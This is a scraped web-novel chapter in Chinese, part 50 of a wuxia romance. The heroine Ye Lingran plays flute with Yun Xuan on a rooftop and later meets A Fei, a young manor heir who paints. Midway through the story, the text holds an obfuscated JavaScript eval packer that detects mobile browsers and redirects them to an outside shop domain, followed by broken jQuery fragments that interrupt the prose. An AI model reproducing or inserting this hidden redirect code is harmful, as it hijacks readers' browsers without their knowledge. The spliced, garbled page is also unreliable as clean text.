默认冷灰
24号文字
方正启体

50. 笼中弈(五)

作者:毓莳明言本书字数:K更新时间:
    锦华堂远远传来人声,似是热闹非凡。我径直回到了自己的院子。


    回想起方才对青云说的那些话,我不知是对是错。情之一字本就无理,先动心的人便先输了阵脚,画地为牢。劝人清醒容易,可心上的那堵墙,又如何轻易拆除?


    不知是不是晚宴上那几杯果子酒的缘故,微醺的感觉浮上来,心头那点郁结非但未散,反而在寂静中被放大。我索性提起裙摆,足尖一点,轻飘飘跃上了屋顶,取出随身携带的竹笛,抵在唇边。


    一首不成调的曲子逸出。


    话本里总说,月下笛声易引知音。


    还真是!


    只见一个白衣青年手持玉箫乘风而来,落在我身前几步之处。


    我停下吹奏,抬眼望去。待看清那张在月光下格外清晰的脸时,心头猛地一跳,脱口而出:“是你!”也不知道自己哪来的怨气,忍不住道:“你又回来做什么?”


    青年先是一怔,随后无奈笑道:“若没记错,今日我们倒是第一次见面,怎么,灵儿不愿意见到我?”


    是云泫的声音。


    犹如一盆水当头浇下,我猛地回神,背脊惊出一身冷汗,指尖微微发麻,方才紧握笛子的力道松了松。


    “怎···怎么会。”我笑笑,努力让自己看起来自然一些。


    他走近了瞧我,“方才听你笛声,是有什么烦心事?还在想着青云姑娘吗?”


    我摇摇头。


    “灵儿,”他唤我,声音低柔,“若有事,不必独自扛着。”他伸出手,似乎想抚摸我的长发,却在半空中微微一顿,转而轻轻拍了拍我的肩头,温暖而克制。


    我点点头,“易迁,我们合奏一曲如何?”


    他眼中似有光华流转,温声道:“好。”


    月下屋顶,两人,一箫,一笛,音律婉转。


    如果有懂的人经过,就会听出,箫声精湛纯熟,声音温润悠扬,而那笛声却跳脱杂乱,可箫声却稳稳地接住了那粗劣不堪的笛声,竟莫名合拍。


    一曲终了,我放下笛子,方才心头的郁结仿佛散去了不少,竟生出几分酣畅之感,颇为兴奋地转向他:“易迁,你的箫技真是出神入化!不过嘛···”我扬了扬手中的竹笛,故意带了点不服气,“我也不差,对不对?刚才最后那段,可是点睛之笔!”


    他忍俊不禁,目光里满是纵容:“不错,方才那一曲,确实不能少了灵儿的点睛之笔。”


    “你这话说得太没诚意啦,”我撇撇嘴,佯装不满,眼底却也有了笑意,“分明是在敷衍我。”


    他闻言,笑意更深,顺着我的话接道:“那叶女侠待要如何?云某···洗耳恭听。”


    我笑道:“不如云公子试试我这笛子,换我来吹箫如何?”


    他面上的笑意几不可察地一顿,没有立刻说好,也没有说不好,那双清亮的眸子在月色下静静地看着我,眸光深邃了几分。


    我撇撇嘴:“小气,这也不肯吗?”


    他却抬眸问我:“你确定吗?”


    我气笑了:“怎么,难不成云公子的玉箫是什么不得了的宝贝,碰也碰不得?还是你舍不得?”


    他缓缓伸出手,将一直握在手中的那管温润玉箫,轻轻递到了我的面前。莹白的箫身泛着清冷的光泽,末端···正对着我的唇。我突然想起,这是他方才吹过的地方,还有我的笛子给他吹···岂不是···


    我后知后觉脸开始烧了起来。


    “怎么了?方才不是要吹吗?”他的声音听起来莫名有几分暗哑。


    “还、还是算了···我突然想到,我这粗陋的技艺,还是不要糟蹋云公子的好东西了···”我慌忙将视线瞥向一旁,感觉连呼吸都有些乱了节拍。


    耳边传来他低低的笑声。


    我突然想到一句很贴切的俚语:“不作死就不会死”。


    睡到半夜,忽听得窗外有箫声传来。


    起初睡意朦胧,只觉那声音隐隐约约,不甚真切。翻了个身,心想:怎么云泫大半夜不睡觉,吹上瘾了?


    蒙上头,可那箫声却还是往耳朵里钻,这箫声不同于以往,带着一种萧瑟和怆然。


    过了一会儿我实在忍不住,推开窗没精打采地喊了一句:“你还不回去休息吗,要吹也明日吧。”


    可那箫声却没有停止的意思,我不由得有些恼了,平日里云泫最是体贴知礼,断不会如此扰人清梦。


    胡乱将外衣拢好,推开房门,径直循着箫声找了过去。


    果然,不远处的屋顶上,一袭白衣身影静坐于月光下,背对着我,衣袂在夜风中微微飘动。


    我仰头喊了几声“喂”,他却恍若未闻。


    足尖一点,我提气纵身,轻巧地落在同一片屋檐上,走近几步:“云公子,我知道你技艺超群,可也没必要这大半夜的,还在这儿炫耀吧?”


    那箫声戛然而止。


    白衣身影缓缓回过头来。


    月光照亮了一张陌生的年轻脸庞。眉目清秀,鼻梁挺直,看起来甚至还有几分稚气。


    见到我,他似乎有几分局促:“吵到你了,姑娘,对不住···”


    认错了人,我一惊之下也有几分不好意思:“公子这么晚了不去休息,为何在此处吹箫?”


    他垂下眼睫,“心里烦闷,睡不着,便想着出来走走。”


    我叹了口气,今天到底有多少失意之人啊。


    “你是哪个门派的?”我见他虽是一身素白常服,但那衣料的质地与暗纹,绝非寻常门派弟子所能拥有,透着一股内敛的华贵。


    他腼腆一笑:“我是偷跑出来的,暂且···不能告诉姑娘···”


    我了然点点头,更加确信他定是一个门规森严的大门派弟子。


    “你放心,我不会说出去的。”


    “多谢姐姐!”他面上带了几分感激之色。


    好个乖巧的孩子,我不禁想起了蔺残阳,也不知道他此时此刻在哪里。


    我暗暗叹了口气。


    “姐姐方才···”少年迟疑着开口,清澈的目光带着好奇,“是把我当成什么人了吗?我听你唤我···云公子?”


    我蓦地有些不好意思,坦白道:“我误以为你是容辰阁的云泫公子,他也精于吹箫,我听你箫声清越,一时以为是他···”


    他闻言,眼睛却是一亮:“云泫公子?我知道他!他在年轻一辈中很有名!姐姐也···通音律吗?”


    我摇摇头,笑道:“我只会胡乱吹几下竹笛。”


    “我极喜欢吹箫,也爱抚琴,尤爱丹青。”少年说起这些,神情生动起来,“我画的画,连教我画艺的师父都夸好呢。”可随即,他垂下眼帘,声音也低落了,“可我爹娘···他们总说这些都是不务正业,玩物丧志。在他们看来,唯有学好武功,精进修为,将来光耀门楣、担起责任,才是正经。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16961399|193310||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我蹙眉道:“谁说喜欢这些便是不务正业了?比如我,虽是女子,也最不耐烦那些女红针线,照你爹娘这般说法,我何止是不成体统?简直要拉去沉塘了···”


    少年被逗得扑哧一笑。


    “可我爹娘···他们从未因此真正苛责过我。除了···”除了要我嫁人这一条。我微微一顿,声音低了些,“你看我,现在不是在做自己喜欢的事,走自己喜欢的路吗?”


    我望着月亮,只觉今夜的月亮特别亮,不知道爹娘如今可好。


    少年看着我,流露出羡慕的神情:“姐姐的爹娘可真开明!他突然声音低了下去,带着一丝涩然道:“其实···我娘是我的继母,向来对我要求甚为严格,我不敢忤逆她的意思,爹爹又向来甚少管我的事。”他苦笑一声。


    我了然道:“所以你打算把喜欢和想做的事,都悄悄藏起来吗?”


    他一怔,既没点头,也没摇头。


    我太熟悉他这模样,在他身上我仿佛看到了以前的我。


    “我师父曾经告诉我:“喜欢什么就大胆地去做,人生短暂难得,何必要让自己留有遗憾。”


    少年浑身一震,眼底像忽然落进了星光:“我叫阿斐,姐姐叫什么名字?”我微微一笑:“我叫叶灵澜。”


    “叶姐姐,多谢你了。”少年一跃而起。


    话音落下,不待我再说什么,他足尖在屋瓦上轻轻一点,身姿轻灵如燕,几个起落间,便已不见了身影。


    翌日,庄内举行论道大会,我向来不喜这种场合,甫一入席,便寻了个最末的座位,可偏偏有人不如我的意。


    正当我神游天外,几欲昏睡之际,忽闻一声带笑的询问清晰地传来:“不知叶女侠对此事,有何高见?”


    我蓦地清醒,抬头便见数道目光望过来。主座上一位白须老者捋须含笑,望的正是我:“叶姑娘年纪轻轻,便是纪先生门下高徒,见解必定不凡。”


    ???


    我心中暗叫不妙,方才神思不属,哪知他们议的是何事?


    我正在苦思如何应对,忽见一个青衣小侍女快步走来,在我面前福了一福:“叶姑娘,少庄主有请。”


    少庄主?请我?我几时认识什么少庄主了?


    随小侍女穿过几重回廊,眼前豁然一处清雅庭院,别有洞天。这位少庄主的品位,倒是不落俗套。


    水榭亭中,一蓝色长衫的身影正俯首作画,闻得脚步声,他转过身来,眼中霎时漾开笑意:“叶姐姐,你来了!”


    “是你···”我微微一怔。


    竟是昨夜月下吹箫的少年。


    “姐姐莫怪,”他腼腆一笑,拱手作礼,“昨夜未曾言明身份,是阿斐的不是,在此给姐姐赔罪了。”


    “啊···无妨无妨,”我连忙摆手,“换作是我,怕也会如此。”


    他闻言,眼眸微亮,神色明显轻快了许多:“我知今日论道大会,姐姐这样的性子必不耐烦和那些长老们,我便自作主张,想了这主意请你过来,姐姐不会怪我吧。”


    我大喜:“怎么会,我感激还来不及!”


    阿斐见我如此,更加高兴,侧身引我看向石桌,“其实今早···我凭记忆画了一幅小画,画得不好···姐姐莫要见笑。”


    我走近一看,微微一怔,只见宣纸上寥寥数笔,勾勒出的竟是昨夜屋顶上的情景:少年月下持箫,女子临风而坐,衣袂与发梢似被晚风轻轻拂动。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)